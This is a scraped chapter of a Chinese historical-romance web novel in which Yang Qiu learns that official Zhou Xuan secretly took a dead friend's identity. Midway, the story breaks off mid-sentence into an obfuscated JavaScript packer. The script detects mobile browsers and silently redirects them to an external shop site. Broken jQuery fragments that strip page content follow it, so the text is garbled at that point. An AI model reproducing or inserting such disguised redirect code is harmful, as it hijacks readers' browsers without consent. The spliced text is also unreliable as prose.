文趣网 > 都市小说 > 侯门金枝 > 90. 第 90 章
    翌日一早,杨湫就来到了司天监。

    “明日一早,我去问二姐,若无意外,我们暂时不要惊动周瑄。”

    昨夜分别时,她对赵瑾叮嘱道:“眼下不清楚他和那个人到底有什么关联,还是不要打草惊蛇的好。”

    司天监众人见到她来,似乎并不意外,将杨湫引去了书房。

    “三妹?怎么突然过来,是有什么事情?”杨鸢搁下笔,抬眼恰好对上杨湫进门的身影。

    杨湫跨进门槛,看着杨鸢,手指情不自禁蜷缩起来。

    到底是实话实说,还是要如何,杨湫心中行止未定,杨鸢也不急着催促,只是等着杨湫开口。

    “你来找我,我一定是知无不言的。”杨鸢叹了口气,将一杯紫苏梅子饮端到杨湫面前。

    “二姐,我有个问题。”杨湫再三权衡,还是决定直说:“二姐随着太子殿下郊祭,可曾去过其他地方?”

    “果然,我就说昨日山脚下的马那般眼熟。”杨鸢笑着说道。

    杨湫略感汗颜,在二姐的注视下很快恢复了正常:“昨日去郊外跑马,恰恰遇见了。”

    “那也不见你跟我打个招呼。”杨鸢一挑眉,眼神里明晃晃写着‘你继续编’。

    这让我怎么说好意思讲出来,杨湫心想,当真是好奇心害死猫,早知道就不跟上了。

    她承认,听到二姐另有秘密的时候,杨湫心里多少有些微妙的不爽。

    “二姐。”杨湫决定先发制人,还未开口,就被杨鸢一句话堵回来了。

    “你是我亲妹妹,不跟你讲,是这件事同你毫无关系,况且我也不知如何开口,索性不讲了。”

    杨湫瘪瘪嘴,不情不愿地道:“我知道了。”

    “其实说了无妨,不过是个很俗套的故事。”杨鸢看着她,神色郑重起来:“你若想听,我倒不是不能说,但是你不可告诉别人。”

    “我自然守口如瓶。”杨湫连忙保证道。

    “我说的别人,自然包括康王殿下。”杨鸢又说道。

    杨湫的表情顿时僵在脸上。

    “这样看我做什么?”杨鸢还有闲心逗她玩,笑吟吟地道:“昨日跟你跑马的不是他?难不成另有其人?他知道吗?”

    “二姐!”杨湫面颊烧起来,声音细若蚊吟:“当真是恰好路过见到你了嘛,就想跟过去看看。”

    “恰好得未免刻意了些,三妹。”杨鸢扶额,无奈地叹了口气道:“那是皇陵周围,谁会去那里?”

    杨湫眼见被彻底拆穿了,干脆将赵瑾卖了:“康王殿下约我去的。”

    “果然是为了那天太子殿下交代的事?”杨鸢啼笑皆非:“他好奇这个做什么?”

    坏了,杨湫面上十分平静,心里却是长叹一声,千算万算,算漏了正主。

    周瑄对她二姐知无不言,肯定是早就一五一十交代了个清楚。

    “看太子殿下和周大人有秘密,可能好奇吧。”杨湫面无表情:“也许是小孩子闹脾气。”

    杨鸢的嘴角抽动几下:“你这样说,似乎没错。”

    她叹了口气,将事情向杨湫和盘托出:“其实,我跟闻璟有一个知交故友,少时曾一起在师父门下学艺。”

    “那位故友天生体弱,几年前不幸病故。还在司天监时,因故结识了太子殿下。”

    杨鸢轻轻叹了口气,面上似有怅然之色:“因此太子殿下才会托我二人四时祭奠。”

    “原来如此。”杨湫将自己没问出口的问题咽了下去,却又不得不怀疑起这话的真实性来。

    既然如此,为何要在墓碑上写周瑄的姓名,现在在他们面前的周瑄,到底又是谁?

    “左右他和你们都不认识,特意去提起也只是徒增伤心。”杨鸢道。

    杨湫乖顺地点点头,冷不丁又抛出一个问题:“二姐,他到底是因何病症亡故的?”

    “他是因为——”杨鸢迟疑了半晌,才开口说道:“是因为天生心疾,那一日突然发作才病故的。”

    “没来得及找郎中?”杨湫再度问道。

    “是,还没来得及叫郎中,就那么病逝了。”杨鸢叹息道。

    杨湫颔首,没有继续追问下去。

    既然得到了想要的答案,她也不再停留,转而告辞:“二姐,我先回走了,还要帮大姐巡视几个铺面。”

    杨鸢点点头,亲自送她出去。

    “我知道你们两个对此事有颇多疑惑,可是事实真相的确是这样。”杨鸢走在杨湫身边,声音里带着些无奈:“所谓造化弄人不过如此。”

    “二姐,你的那位故友,可有姓名,总不能一直这样叫他。”杨湫道。

    “没什么好提的,三妹。”杨鸢揉了揉眉心。

    “为何?二姐是怕伤心,还是有别的什么缘由,才不愿意对我提起?”杨湫连珠炮一般问道。

    杨鸢苦笑一声:“知道这个做什么,不过讲了也无妨,他叫周瑄罢了。”

    杨湫一惊:“那他和现在的周大人——”

    “并非一人,你莫误会,闻璟活得好好的。”杨鸢赶忙安抚道:“此事的确颇为复杂,我知道你定然十分疑惑。”

    “二姐,若是同名同姓还自罢了,何必连生辰都一样?”杨湫问道。

    杨鸢点点头:“我就知道你肯定看了墓碑。”

    杨湫了然地笑笑,刹那间又想通了些关窍:“原来二姐是在诈我。”

    杨鸢声音里带着无奈地笑意,轻声道:“我猜到你不会无缘无故来问,一定是疑心闻璟和那个人到底什么关系。”

    “说到底巧合太多,由不得妹妹不信。”杨湫说到。

    杨鸢叹了口气,左右看了看:“你跟我来。”

    二人同时回到书房,杨鸢屏退左右,关上了门。

    “此事复杂,还牵涉一些朝中秘闻,你听罢就算了,千万不要动心去追查。”

    杨湫点头,语气十分坚定:“二姐,你放心好了。”

    故事说起来很简单,在周瑄与杨鸢之前,监正曾经抱养过一个男孩,不知为何,却从来没有对外提起过他的真实身份。

    他这般无名无姓活到少年时,直到真正的周瑄病故,才借了周瑄的身份活下去。

    “竟然是因为这种原因?”杨湫讶然地道:“那现在的周大人,他——”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524870|203441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “闻璟的身世到底是什么,我们谁都不知道,师父不曾交代,连他自己也未必清楚。”

    杨鸢缓缓吐出一口气:“我听师父与师娘只言片语,似乎师娘故交的幼子,合族死绝,将孩子托付给师娘。”

    “若是改名换姓,未必不能蒙混过关啊。”杨湫抬眸对着二姐,满是疑惑地问道。

    杨鸢轻轻摇头:“很早之前,是有的。”

    杨湫想起墓碑上的生卒年月,忽然想到了什么一般:“二姐说代替,是因为后来有人泄密?”

    杨鸢点点头。

    “所以你们被迫调换了两个人的身份,那个时候,真正的周瑄就已经死了?”

    杨湫说出自己的推测,杨鸢便叹了口气:“与你所料分毫不差,闻璟总是介怀此事,本来原先的墓碑应当推倒,他却不肯。”

    “他说人死了还要替他背一口黑锅,心里过意不去。可既然撒了这个弥天大谎,又不能光明正大的说出来。”

    杨湫此刻得知真相,忍不住扼腕叹息:“原是如此。那太子殿下也知情吗?”

    杨鸢轻轻颔首:“那衣冠冢还是他替我们设的,藏在皇陵北面的丘陵里,寻常人断然不会靠近。”

    她说完,别有深意看了杨湫一眼:“现在除了你和康王殿下,倒真是无人能涉足了。”

    “我知道了,二姐,以后不会贸然靠近了。”杨湫讪讪道。

    与此同时,东宫。

    “你就为了问我这个?”赵琮格外不明所以,只是安静看着自己的幼弟:“这好像不值得你这样大张旗鼓。”

    赵瑾翻来覆去一夜,一早杀进了东宫,硬生生等到下了早朝,将赵琮堵在东宫。

    “我就是好奇,好奇得不行。”赵瑾开始软磨硬泡。

    “没什么,你是盂兰盆节,我还能说什么,托他们二位去祭奠故友罢了。”

    赵琮无奈地说出事实,熟料眼前这人压根不信:“我可不知道你什么时候跟闻璟有过交情了,还有什么故友。”

    “唉,斯人已逝,自然不愿提起。”赵琮道。

    “斯人已逝?”赵瑾装作一副不知情的模样:“什么时候的事情啊?”

    “有些年头了,五六年前吧。他病故的时候你才多大,一开始觉得没跟你提,后来时间久了,也没什么特意说起的必要。”

    赵瑾悻悻住嘴,却不好暴露自己偷偷跟着去皇陵的事实,只能旁敲侧击问道。

    “大皇兄,你那位故友叫什么名字,多大年纪?”

    “这个嘛——”赵琮忽然叹了一声,叫左右伺候的侍从都下去了。

    赵瑾有些狐疑,四下里看了一圈,才将视线放回赵琮身上:“大皇兄,你这是做什么?”

    “唉,看在你跟闻璟是朋友的份上,我跟你提起并无不可,只是一件事,你莫要向外道才是。”

    赵琮神色渐渐严肃起来:“长话短说,现在的周瑄,是顶替了他人身份。他原先的身世牵扯到朝中大案,为了保命才如此做的。”

    “什么意思?”赵瑾顿时愣住了,结结巴巴地道:“闻璟不是周瑄?周瑄另有其人?那他到底是谁?”